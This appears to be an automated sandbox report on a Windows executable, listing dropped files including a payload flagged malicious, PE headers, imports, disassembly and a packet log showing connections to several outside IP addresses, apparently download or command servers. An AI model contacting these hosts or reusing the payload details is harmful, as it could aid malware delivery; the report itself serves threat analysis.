                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yzpmumpb.v2m.ps1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Roaming\LB311.exe

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):7633920
                                                              Entropy (8bit):7.742593394737428
                                                              Encrypted:false
                                                              SSDEEP:196608:xv/ClQQD6oJpNgmH4N3T0zIE0PGuWuB5wyKy9unVENiKH8G:xS3DpJpNFH8T0xuW+9unVENiKc
                                                              MD5:C4BEF67027DB50C7F4F3A64584FED4A7
                                                              SHA1:F6EEAD2DF8446B1CBE29EB9480FDD66DFB34BD52
                                                              SHA-256:72AC263AC090FE33579C89AAE31A51E14171B2BF4DC1688FE394BACDED2A1C23
                                                              SHA-512:567C58A72A2258785BA27BD3F828B96F1A9B15943E394E1475413957EBFD7F779F21B4C9F94E9FBE9C2C7660778E65725EC542BCA7601D4A18493189D5008859
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                              Preview:MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...^n.e.........."..........xT................@............................. .......t...`...................................................U.......S.f... ................Q..............................hQ..(................................................... . ..S.......R.................@....rsrc...f.....S.......R.............@....idata ......U.......S.............@... ..7...U.......S.............@...pzdztcxp.. ..@.... ...S.............@...bppmbsab.............xt.............@....pdata.I.............zt.............@..@................................................................................................................................................................................................................................................................................................................................................

                                                              Static File Info

                                                              General

                                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                              Entropy (8bit):4.177103937405722
                                                              TrID:
                                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                                              • DOS Executable Generic (2002/1) 0.02%
                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                              File name:file.exe
                                                              File size:36'864 bytes
                                                              MD5:92d4e2ef88e5aafb72ddde13e84b549a
                                                              SHA1:24ddd5e2c7e96e52e00f5a6e2b29e4b100d0c578
                                                              SHA256:a77d96f186d1cc96dc589f4a6d55b45c9c04c77072fd504a720f437412ff93cb
                                                              SHA512:af4822dafe72de541134b80d00b5fa2b1539a0c82b1261854fb15f24ec7cdf3e34791e19915dab32b132c6e6e58760f4c599d532fcb220f89e941cb065e28c6f
                                                              SSDEEP:384:4b9oKDQckRKDVbJapdKDGPGAtyfc1FKDGPGAIpEKDVbJrkiKDQ:M90PGeD1ZPGv9
                                                              TLSH:4AF25E27239494C8F1C4C9354ECBADB408F1BC325840BAAA77D13F6E5F37983E51925A
                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................N.......................Rich....................PE..L....X.f.................@...@...............P....@........

                                                              File Icon

                                                              Icon Hash:2f232d67b7934633

                                                              Static PE Info

                                                              General

                                                              Entrypoint:0x4011c4
                                                              Entrypoint Section:.text
                                                              Digitally signed:false
                                                              Imagebase:0x400000
                                                              Subsystem:windows gui
                                                              Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                              DLL Characteristics:
                                                              Time Stamp:0x668658C2 [Thu Jul 4 08:09:38 2024 UTC]
                                                              TLS Callbacks:
                                                              CLR (.Net) Version:
                                                              OS Version Major:4
                                                              OS Version Minor:0
                                                              File Version Major:4
                                                              File Version Minor:0
                                                              Subsystem Version Major:4
                                                              Subsystem Version Minor:0
                                                              Import Hash:58be42976499addf067b947a2385b76a

                                                              Entrypoint Preview

                                                              Instruction
                                                              push 004012CCh
                                                              call 00007FDF9CB82663h
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              xor byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              cmp byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              push ds
                                                              inc esi
                                                              sahf
                                                              daa
                                                              aaa
                                                              push cs
                                                              mov eax, dword ptr [ebp-66h]
                                                              mov al, ADh
                                                              mov ebp, 5D14ECCDh
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add dword ptr [eax], eax
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              iretd
                                                              out dx, al
                                                              in eax, EAh
                                                              xor dword ptr [eax], eax
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add dword ptr [eax], eax
                                                              add byte ptr [eax], al
                                                              aam 16h
                                                              inc eax
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add bh, bh

                                                              Data Directories

                                                              NameVirtual AddressVirtual Size Is in Section
                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0x4ac40x28.text
                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0x60000x2b34.rsrc
                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x2300x20
                                                              IMAGE_DIRECTORY_ENTRY_IAT0x10000xb0.text
                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                              Sections

                                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                              .text0x10000x3e240x40009bf4a612da6d0c1aea3530f5461f6a3dFalse0.3790283203125data5.206854007978468IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                              .data0x50000xaa40x1000620f0b67a91f7f74151bc5be745b7110False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                              .rsrc0x60000x2b340x3000dadfb446eaecc7297a1cea4461bfc5b2False0.32275390625data4.51251117927568IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                              Resources

                                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                                              RT_ICON0x8a0c0x128Device independent bitmap graphic, 16 x 32 x 4, image size 192, 16 important colors0.6317567567567568
                                                              RT_ICON0x84a40x568Device independent bitmap graphic, 16 x 32 x 8, image size 320, 256 important colors0.5823699421965318
                                                              RT_ICON0x81bc0x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 640, 16 important colors0.5120967741935484
                                                              RT_ICON0x79140x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors0.5455776173285198
                                                              RT_ICON0x72ac0x668Device independent bitmap graphic, 48 x 96 x 4, image size 15360.36341463414634145
                                                              RT_ICON0x64040xea8Device independent bitmap graphic, 48 x 96 x 8, image size 26880.42350746268656714
                                                              RT_GROUP_ICON0x63a80x5cdata0.7934782608695652
                                                              RT_VERSION0x61e00x1c8dataEnglishUnited States0.5219298245614035

                                                              Imports

                                                              DLLImport
                                                              MSVBVM60.DLL_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaFreeVarList, _adj_fdiv_m64, _adj_fprem1, __vbaStrCat, _adj_fdiv_m32, _adj_fdiv_m16i, _adj_fdivr_m16i, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaObjVar, _adj_fpatan, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, _CIlog, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarSetVar, __vbaLateMemCall, __vbaVarAdd, __vbaVarCopy, _CIatan, __vbaStrMove, _allmul, _CItan, _CIexp, __vbaFreeStr

                                                              Possible Origin

                                                              Language of compilation systemCountry where language is spokenMap
                                                              EnglishUnited States

                                                              Network Behavior

                                                              Network Port Distribution

                                                              TCP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Jul 4, 2024 11:16:03.906172037 CEST4971280192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:03.909528971 CEST4971380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:03.911550045 CEST804971285.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:03.911670923 CEST4971280192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:03.912321091 CEST4971280192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:03.917072058 CEST804971385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:03.917136908 CEST4971380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:03.917308092 CEST4971380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:03.918514013 CEST804971285.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:03.923585892 CEST804971385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:04.003920078 CEST4971480192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:04.009504080 CEST804971485.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:04.009582043 CEST4971480192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:04.009725094 CEST4971480192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:04.014693975 CEST804971485.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:04.542639017 CEST804971285.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:04.542661905 CEST804971285.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:04.542785883 CEST4971280192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:04.564572096 CEST804971385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:04.564908981 CEST804971385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:04.564990044 CEST4971380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:04.665040016 CEST804971485.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:04.717870951 CEST4971480192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:04.739455938 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:04.739506960 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:04.739562988 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:04.760473013 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:04.760509968 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:04.766902924 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:04.771821976 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:04.771915913 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:04.771975040 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:04.782660007 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.235888004 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.235977888 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:05.239448071 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:05.239483118 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.239751101 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.251383066 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:05.296492100 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.486623049 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.486641884 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.486654997 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.486671925 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.486684084 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.486694098 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.486735106 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.486788988 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.618087053 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.618185997 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.618196964 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.618248940 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.618310928 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.618324995 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.618366957 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.618927002 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.618964911 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.618967056 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.618979931 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.619076014 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.619673967 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.619699001 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.619709969 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.619796991 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.671020985 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.723208904 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.723257065 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.723310947 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:05.723313093 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.723331928 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.723378897 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:05.723386049 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.723421097 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.723454952 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.723459959 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:05.723469019 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.723558903 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:05.723809004 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.724112988 CEST44349715172.67.149.76192.168.2.6
                                                              Jul 4, 2024 11:16:05.724154949 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:05.727499008 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.727536917 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.727547884 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.727602005 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.727926016 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.727969885 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.727974892 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.727987051 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.728033066 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.728827953 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.728883028 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.728894949 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.728939056 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.729836941 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.729847908 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.729860067 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.729886055 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.729922056 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.730674028 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.730856895 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.730897903 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.817708015 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.847760916 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.847780943 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.847793102 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.847805023 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.847826004 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.848259926 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.848304987 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.848315954 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.848341942 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.848355055 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.848392010 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.849948883 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.849960089 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.849972010 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.850028038 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.850059986 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.850070953 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.850081921 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.850092888 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.850121021 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.850147963 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.850150108 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.850199938 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.850315094 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.850354910 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.850364923 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.850404978 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.850405931 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.850445032 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.851617098 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.883013964 CEST49715443192.168.2.6172.67.149.76
                                                              Jul 4, 2024 11:16:05.905369043 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.968472958 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.968492985 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.968506098 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.968534946 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.968600988 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.968651056 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.968838930 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.968849897 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.968859911 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.968872070 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.968887091 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.968916893 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.969641924 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.969661951 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.969679117 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.969701052 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.969707966 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.969758034 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.970455885 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.970505953 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.970518112 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.970530033 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.970554113 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.970592022 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.971354961 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.971365929 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.971379042 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.971389055 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.971412897 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.971438885 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.972126007 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.972146034 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.972157001 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.972192049 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:05.972203970 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.972229958 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:05.975493908 CEST4971480192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:06.088227034 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:06.088332891 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:06.088344097 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:06.088363886 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:06.088380098 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:06.088378906 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:06.088399887 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:06.088419914 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:06.088430882 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:06.088443041 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:06.088454962 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:06.088476896 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:06.139775991 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:06.181325912 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:06.233536005 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:10.366801977 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:10.367077112 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:10.367191076 CEST4971280192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:10.371978045 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:10.372064114 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:10.372237921 CEST8049716176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:10.372287035 CEST4971680192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:10.372574091 CEST804971285.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:10.372618914 CEST4971280192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:10.376184940 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:10.381087065 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.072799921 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.072819948 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.072834015 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.072854996 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.072865963 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.072875023 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.072925091 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.191462040 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.191492081 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.191503048 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.191536903 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.191626072 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.191638947 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.191651106 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.191662073 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.191673040 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.191695929 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.191698074 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.191734076 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.192322016 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.192368031 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.311136961 CEST8049718176.113.115.177192.168.2.6
